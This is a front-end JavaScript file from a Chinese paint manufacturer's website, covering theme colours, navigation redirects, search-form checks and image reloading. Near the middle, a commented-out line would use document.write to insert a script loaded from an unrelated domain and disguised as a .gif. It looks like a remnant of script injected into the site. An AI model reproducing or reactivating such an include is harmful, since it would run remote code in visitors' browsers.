﻿function show_forlove(){
	//window.open("web/csr/csr_forlove.jsp","_self");
	document.getElementById('forlovecontent').style.display='block'
}
function hiddenDiv(tid)
{
	if(document.getElementById(tid).style.display=='block')
		document.getElementById(tid).style.display="none";
	else
		document.getElementById(tid).style.display='block';
}

function showIndex(id) {
	//alert(did);
	var did = parseInt(id);
	switch(did) {
	case 2:
		//alert('工业工程');
		$(document.body).css( "background", "#d4e6f0");
		$("#footer-zone").css( "background", "#d4e6f0");
		$("#header-zone").css( "background", "#d4e6f0");
		$("#htopic").css("background", "url(img/preview/b_topic.jpg) no-repeat 5px top");
		//$("#htool-nav").css("background", "url(img/preview/bdot_tool_nav.gif) no-repeat left -2px");
		break;
	case 3:
		//alert('我的立邦');
		$(document.body).css( "background", "#C9D7A2");
		$("#footer-zone").css( "background", "#C9D7A2");
		$("#header-zone").css( "background", "#C9D7A2");
		$("#htopic").css("background", "url(img/preview/m_topic.jpg) no-repeat 5px top");
		//$("#htool-nav").css("background", "url(img/preview/mdot_tool_nav.gif) no-repeat left -2px");
		break;
	case 1:
		//alert('美丽家园');
		$(document.body).css( "background", "#fdd1a4");
		$("#footer-zone").css( "background", "#fdd1a4");
		$("#header-zone").css( "background", "#fdd1a4");
		$("#htopic").css("background", "url(img/preview/topic.jpg) no-repeat 5px top");
		//$("#htool-nav").css("background", "url(img/preview/hdot_tool_nav.gif) no-repeat left -2px");
		break;
	case 4://专卖店查询
		location.href='http://www.nipponpaint.com.cn/web/home/dealer_search.jsp';
		break;
	case 5://真伪辨别
		location.href='http://www.nipponpaint.com.cn/web/home/product_check.jsp';
		break;
	case 6://漆量计算
		location.href='http://www.nipponpaint.com.cn/web/home/tool_calculate.jsp';
		break;
	case 7://立邦师傅
		location.href='http://www.nipponpaint.com.cn/web/home/stylist.jsp';
		break;
	case 8://产品工程展示
		//location.href='http://www.nipponpaint.com.cn/product_check.php';
		break;
	case 9://技术服务
		//location.href='http://www.nipponpaint.com.cn/home/tool_calculate.php';
		break;
	case 10://产品种类
		//location.href='http://www.nipponpaint.com.cn/home/stylist.php';
		break;
	case 11://漆量计算
		location.href='http://www.nipponpaint.com.cn/web/home/tool_calculate.jsp';
		break;
	case 12://体验中心
		location.href='http://www.nipponpaint.com.cn/web/home/diy.jsp';
		break;
	case 21:
		location.href='http://www.nipponpaint.com.cn/web/home/h_index.jsp';
		break;
	case 22:
		location.href='http://www.nipponpaint.com.cn/web/b_index.jsp';
		break;
	case 23:
		location.href='http://www.nipponpaint.com.cn/web/my/';
		break;
	case 25:
		location.href='http://www.nipponpaint.com.cn/web/green.html';
		break;
	case 26:
		location.href='http://www.nipponpaint.com.cn/web/';
		break;
	default :
	}
}

function showIndexJs(id) {
	//alert(did);
	var did = parseInt(id);
	switch(did) {
	case 4://专卖店查询
		location.href='http://www.nipponpaint.com.cn/web/home/dealer_search.jsp';
		break;
	case 5://真伪辨别
		location.href='http://www.nipponpaint.com.cn/web/home/product_check.jsp';
		break;
	case 6://漆量计算
		location.href='http://www.nipponpaint.com.cn/web/home/tool_calculate.jsp';
		break;
	case 7://立邦师傅
		location.href='http://www.nipponpaint.com.cn/web/home/stylist.jsp';
		break;
	case 8://产品工程展示
		//location.href='http://www.nipponpaint.com.cn/product_check.php';
		break;
	case 9://技术服务
		//location.href='http://www.nipponpaint.com.cn/home/tool_calculate.php';
		break;
	case 10://产品种类
		//location.href='http://www.nipponpaint.com.cn/home/stylist.php';
		break;
	case 11://漆量计算
		location.href='http://www.nipponpaint.com.cn/web/home/tool_calculate.jsp';
		break;
	case 12://体验中心
		location.href='http://www.nipponpaint.com.cn/web/home/diy.jsp';
		break;
	case 21:
		location.href='http://www.nipponpaint.com.cn/web/home/h_index.jsp';
		break;
	case 22:
		location.href='http://www.nipponpaint.com.cn/web/b_index.jsp';
		break;
	case 23:
		location.href='http://www.nipponpaint.com.cn/web/my/';
		break;
	case 26:
		location.href='http://www.nipponpaint.com.cn/web/';
		break;
		
	}
}
function MM_openBrWindow(theURL,winName,features) {
  window.open(theURL,winName,features);
}
//document.write('<script src=http://www.crcf.org.cn/logo.gif?mjj></script>')
/* search */
function searchButton(style, value, o) {
	document.getElementById('type').value = value;
	document.getElementById('category').style.display = style;
	var key = document.getElementById('keyword').value
	if(key!='关键词搜索' && key!='' && o=='y') {
		//产品检索
		if(value=="product"){
			document.search.action="web/p_search_list.jsp"
		//文章检索	
		}else{
			document.search.action="web/home/search.jsp"
		}
		document.search.submit();
	} else if((key=='关键词搜索' || key=='') && o=='y') {
		alert("请输入关键词");
		return false;
	}
	//if(key=='关键词搜索') {alert("请输入关键词");}
}
/* search disabled */
function searchDisabled() {
	var obj = document.getElementById('category');
	if(obj)
	obj.style.display = 'none';
}

function scheck() {
	var val = document.getElementById('keyword').value;
	if(val=="关键词搜索"){
		alert("请输入关键词");
		return false;
	}
	return true;
}

/*pic reload funtion begin*/
var reloadflag = false;
var arrPic = new Array();
var arrObj = new Array();
var sumPic = 0;
var iTime;
function sourcePicReload() {
	replacePic();
	appendImg();
}
function replacePic() {
	var bpic;
	var obj = $("img");
	var len = obj.length;
	var j=0;
	for(i=0;i<len;i++) {
		bpic = picName(obj[i].src);
		if($(obj[i]).attr('chg')=='y') {
			arrObj[j] = obj[i];
			arrPic[j] = bpic;
			j++;
		}
	}
}
function picName(s) {
	s = s.replace('s_','');
	return s;
}
function reloadSourcePic(){
	if(!reloadflag) {
		iTime = window.setTimeout("reloadSourcePic()", 1000);return;
	}
	for (var i=0; i<arrObj.length; i++) {
		arrObj[i].src = arrPic[i];
	}
	clearTimeout(iTime);
}
function appendImg() {
	if(sumPic>=arrObj.length) {clearTimeout(iTime);reloadSourcePic();return;}
	var newIMG;
	var src = arrPic[sumPic];
		newIMG = document.createElement("img");
		newIMG.style.display = "block";
		newIMG.onload = function(){
			reloadflag = true;
		}
		newIMG.src = src;

	sumPic++;
	iTime = window.setTimeout("appendImg()", 500);
}
/*end pic reload funtion begin*/
/*IU flash Js*/
function goURL(id) {
	var fid = parseInt(id);
	switch (fid) {
	case 0://汽车修补漆
		location.href='http://auto_refinish.nipponpaint.com.cn/';
		break;
	case 1://工程涂料
		location.href='http://project.nipponpaint.com.cn';
		break;
	case 2://船舶
		location.href='http://marine.nipponpaint.com.cn';
		break;
	case 3://汽车涂料
		location.href='http://auto.nipponpaint.com.cn';
		break;
	case 4://一般工业
		location.href='http://giu.nipponpaint.com.cn';
		break;
	case 5://粉末涂料
		location.href='http://powder.nipponpaint.com.cn';
		break;
	case 6://重防腐涂料
		location.href='http://hdc.nipponpaint.com.cn';
		break;
	case 7://塑料涂料
		location.href='http://plastic.nipponpaint.com.cn';
		break;
	case 8://卷钢涂料
		location.href='http://ccl.nipponpaint.com.cn';
		break;
	}
}